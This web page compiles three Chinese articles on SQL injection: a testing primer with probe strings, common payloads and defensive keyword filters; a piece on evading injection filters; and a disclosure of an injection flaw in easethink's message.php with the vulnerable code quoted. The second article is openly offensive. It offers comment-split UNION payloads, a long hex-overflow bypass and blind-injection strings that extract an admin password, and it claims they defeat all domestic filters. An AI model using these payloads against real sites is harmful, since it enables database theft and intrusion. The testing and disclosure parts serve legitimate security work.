【导语】“逍遥任你行”通过精心收集,向本站投稿了3篇安全性测试之SQL注入,下面是小编给大家带来关于安全性测试之SQL注入,一起来看看吧,希望对您有所帮助。
篇1:安全性测试之SQL注入
安全性测试是指机密的数据确保其机密性以及用户只能在其被授权的范围进行操作的这样一个过程
例如:
a 机密内容不暴露给不被授权的个人或用户实体
b 用户不能单方面有权限屏蔽掉网站的某一功能
安全性测试有哪些方面?
SQL Injection( SQL 注入)
Cross-site script(XSS) (跨站点脚本攻击)
CSRF (跨站点伪造请求)
URL跳转
Directory Traversal (目录遍历)
Email Header Injection (邮件标头注入)
exposed error messages(错误信息)
SQL Injection应该称为SQL指令植入式攻击,它是描述一个利用写入特殊SQL程序码攻击应用程序的动作.
用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入.
如何判断sql注入存在的情况
通常情况下,SQL注入一般存在于带有参数传递的URL页面
例如:HTTP://xxx.xxx.xxx/abc.asp?id=XX
有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论,总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。
例如: 搜索页面
登录页面
提交评论页面等等.
判断过程:
带有参数传递的URL:
aipai.163.com/s/trade/orderDetail/?orderId=183004
提交查询的数据库SQL为:
select * from order where id=183004.
测试SQL注入是否存在方法:
1、附加一个单引号 : ’...ail.htm?oid=183004
查询的SQL:select * from orders where id=183004’运行异常
2、附加 “and 1=1”...ail.htm?oid=183004and 1=1,
查询的SQL: select * from orders where id=183004and 1=1 运行正常
3、附加“and 1=2” ...ail.htm?oid=183004and 1=2,
查询的SQL: select * from orders where id=183004and 1=2 运行异常
如果以上三步骤全面满足,那么一定存在SQL注入漏洞。
如何进行sql注入的测试?
对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中
的“FORM”标签来辨别是否还有参数传递.
注:在
< div>
< lab
el>用户名
< label>密码
< input type=”password“ name=”yourpwd“ value=”“/>
< input type=”submit“ value=”提交“>
< /div>
< /form.>
常用的SQL注入语句
根据实际情况,SQL注 入请求可以使用以下语句:
返回的是连接的数据库名 and db_name>0
作用是获取连接用户名 and user>0
将数据库备份到Web目录下面 ;backup database 数据库名 to disk='c:\\inetpub\\wwwroot\\1.db';--
显示SQL系统版本 and 1=(select @@VERSION) 或and 1=convert(int,@@version)—
' or 1=1- -
” or 1=1- -
or 1=1- -
' or 'a'='a
“ or ”a“=”a
') or ('a'='a
如何防止SQL注入?
从应用程序的角度来讲,我们要做以下三项工作:
1、转义敏感字符及字符串,SQL的敏感字符包括:
“exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”><=!-*/()|”,和”空格”).
2、屏蔽出错信息:阻止攻击者知道攻击的结果
3、在服务端正式处理之前提交数据的合法 性(数据类型,数据长度,敏感字符的校验)
从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检
查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下 几项安全
性问题:
1、需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)
2、需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不
包含任何代码或数据库信息的错误提示.
当然在执行测试的过程中,我们也需求对上述两项内容进行测试.
篇2:浅谈新型的sql注入测试脚本安全
前段时间,帮别人看网站,习惯性的’,and 1=1 其实知道这种肯定被过滤,但还是测试了
结果被脑残反问还有什么方法,的确有些时候思维被固化了,很多东西需要变通。
php+mysql
首先说判断:
Null值相信大家不陌生吧,可这么用: and 1 is null,and 1 is not null
或: and 2<=3
其实,很多人习惯性的用=号来判断了,但是,如: >= ,<= ,is null,is not null,等 都可用于判断
接着说注入
对于注射取值,我们熟悉的就是union select 和 blind sqlinjection(盲注)
先说Union Select
对于常规的注射,我们可以union select 1,2,3,4 或 union/**/select/**/ 1,2,3,4
Ok,看我演示, id=1+u/**/nio/**/n+se/**/lect+1&id=2,3&id=4 够恶心吧?
可绕过国内所有防注射哦:) 这代码运行后效果如上,至于原理我希望大家自己去
查查相关资料,有异议的可给我留言.
当然,在语句传递多个参数时 例如 slect * from table where id = 1 and name = xxx ,我们可这么做:
id=1+union/*&name=*/select+1,2
代入查询后 slect * from table where id = 1 union /* and name = xxx */ select 1,2
这是一种让常量(变量)失效的技巧,当然,环境要求比较苛刻
下面说说Blind SqlIjection(盲注)
一般方式,我想大家应该是这么做的: ascii(substring(password,1,1))=56,或者是
ord(mid(password,1,1))=56
在此,我推荐大家还是用子查询,当然,前提是猜出表,字段,可更为准确的得到想得到的数据
此前,仍然向大家推荐一些新型的手法:
find_in_set 例: find_in_set(’56′,ascii(substr(password,1,1)))=1
strcmp 例: strcmp(left(‘password’,1), 0×56) = 1
将这些函数套如子查询就是:
id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×55)=1 false
id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×56)=0 true
id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×57)=-1 false
老外NB 方法 还有 -.-
悲剧还是绕不过去,nnd。要是国内
的站以上几种方法一般都能搞定,老外就是bt。国外php 注射历史悠久手法独特+方法猥琐 射出几率相当高
www.xxx.com/index.php?content=more_product&id=-17 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6–+-
www.xxx.com/index.php?content=more_product&id=-17 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,concat_ws(0x7c,version(),database(),u
ser()),3,4,5,6–+-
篇3:易想购物(easethink)sql注入(附测试POC )
根目录下message.php页面存在关键字过滤不严谨的问题,
出问题的代码如下
if($_REQUEST['act'] == 'add') //request获取的act变量只有这个if后面就没有判读过了,导致了注入{if(!$user_info){showErr($GLOBALS['lang']['PLEASE_LOGIN_FIRST']);}....else{$rel_table = $_REQUEST['act'];//echo “select * from ”.DB_PREFIX.“message_type where type_name='”.$rel_table.“'”; //这句是自己添加的演示语句,一会可以查看到被注入的语句$message_type = $GLOBALS['db']->getRowCached(“select * from ”.DB_PREFIX.“message_type where type_name='”.$rel_table.“'”);if(!$message_type||$message_type['is_fix']==0){$message_type_list = $GLOBALS['db']->getAllCached(“select * from ”.DB_PREFIX.“message_type where is_fix = 0 order by sort desc”);if(!$message_type_list){showErr($GLOBALS['lang']['INVALID_MESSAGE_TYPE']);}else{if(!$message_type)$message_type = $message_type_list[0];foreach($message_type_list as $k=>$v){if($v['type_name'] == $message_type['type_name']){$message_type_list[$k]['current'] = 1;}else{$message_type_list[$k]['current'] = 0;}}$GLOBALS['tmpl']->assign(“message_type_list”,$message_type_list);}}
.
.
.
.
图片一句是插入自定义sql语句后生成的注入语句
很明显的注入了
修复方案:
还是对关键字的过滤问题
★ Andys PHP Knowledgebase 0.95.4 SQL注入漏洞及修复
★ 利用双字节编码突破PHP单引号转义限制进行SQL注入脚本安全
★ SQL实训总结
★ 手工注入脚本安全
安全性测试之SQL注入(整理3篇)




